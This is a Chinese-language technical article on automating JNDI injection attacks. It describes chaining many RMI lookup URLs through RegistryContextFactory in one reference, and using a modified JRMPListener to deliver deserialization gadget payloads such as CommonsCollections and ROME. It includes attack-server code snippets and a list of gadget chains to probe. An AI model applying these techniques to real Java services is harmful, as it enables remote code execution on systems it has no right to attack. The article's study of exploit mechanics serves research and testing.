JNDI漏洞利用探索
字数 1309 2025-08-25 22:59:02
JNDI漏洞利用探索与自动化测试技术
1. JNDI漏洞概述
JNDI (Java Naming and Directory Interface) 是Java提供的一个API,用于访问命名和目录服务。由于JNDI的动态类加载机制,攻击者可以通过恶意的JNDI查找触发远程代码执行。
2. JNDI漏洞利用核心问题
- 自动化测试Bypass利用链:手动更改URL测试每个JNDI Bypass利用链效率低下
- 自动化探测反序列化利用链:探索如何自动化测试反序列化利用链
3. RegistryContextFactory利用分析
3.1 核心机制
com.sun.jndi.rmi.registry.RegistryContextFactory类可用于自动化测试:
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
if (!isRegistryRef(var1)) {
return null;
} else {
Object var5 = URLsToObject(getURLs((Reference)var1), var4);
if (var5 instanceof RegistryContext) {
RegistryContext var6 = (RegistryContext)var5;
var6.reference = (Reference)var1;
}
return var5;
}
}
3.2 URL获取机制
getURLs方法从Reference中提取URL:
private static String[] getURLs(Reference var0) throws NamingException {
int var1 = 0;
String[] var2 = new String[var0.size()];
Enumeration var3 = var0.getAll();
while(var3.hasMoreElements()) {
RefAddr var4 = (RefAddr)var3.nextElement();
if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
var2[var1++] = (String)var4.getContent();
}
}
// ...
}
3.3 请求处理流程
- 创建
rmiURLContextFactory对象 - 调用
getObjectInstance - 如果是数组类型,调用
getUsingURLs - 创建
rmiURLContext并循环调用lookup
4. 自动化测试实现
4.1 核心代码实现
public ResourceRef execAll() throws RemoteException, NamingException {
ResourceRef ref = new ResourceRef("xxxx", null,true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
String mapKey = entry.getKey();
String mapValue = entry.getValue();
if(!mapValue.equals("BypassTestAll")){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
}
}
return ref;
}
4.2 RMIRefServer处理
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
// ...
if (reference.startsWith("BypassTestAll")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassTestAll.");
Reflections.setFieldValue(rw, "wrappee", execAll());
}
// ...
}
4.3 递归查询问题
如果引用中的地址也是RegistryContextFactory,会导致递归查询,可能触发栈溢出:
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
5. 反序列化利用链自动化探测
5.1 JRMPListener利用
ysoserial#JRMPListener模块构建JRMP监听,返回恶意异常对象:
out.writeByte(TransportConstants.Return);
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val",payload);
oos.writeObject(ex);
5.2 反序列化触发点
在StreamRemoteCall#executeCall中:
switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// ...
}
5.3 自动化探测实现
public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};
public Object execAllGadgat() {
ResourceRef ref = new ResourceRef("xxxx", null,true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
for(String gadget:gadgets){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
}
return ref;
}
6. 利用链限制与注意事项
- 依赖Tomcat:需要使用
ResourceRef,因此依赖Tomcat环境 - 协议限制:目前只能通过RMI协议进行自动化检测
- 利用链限制:CC1、CC3、CC7无法通过异常类型判断是否存在
- 递归查询:可能导致栈溢出但通常不影响程序使用
7. 总结
- 通过
RegistryContextFactory可以实现JNDI Bypass利用链的自动化测试 - 结合JRMPListener可以实现反序列化利用链的自动化探测
- 当前方案主要依赖RMI协议,对LDAP协议的支持有限
- 部分利用链(如CC1、CC3、CC7)无法通过异常类型准确判断
8. 附录:关键类与方法
| 类/方法 | 功能描述 |
|---|---|
com.sun.jndi.rmi.registry.RegistryContextFactory |
处理RMI引用,自动发起多个RMI请求 |
getURLs() |
从Reference中提取URL列表 |
URLsToObject() |
处理URL数组并发起请求 |
getUsingURLs() |
循环调用lookup直到获取有效对象 |
StreamRemoteCall#executeCall |
RMI调用处理核心,触发反序列化 |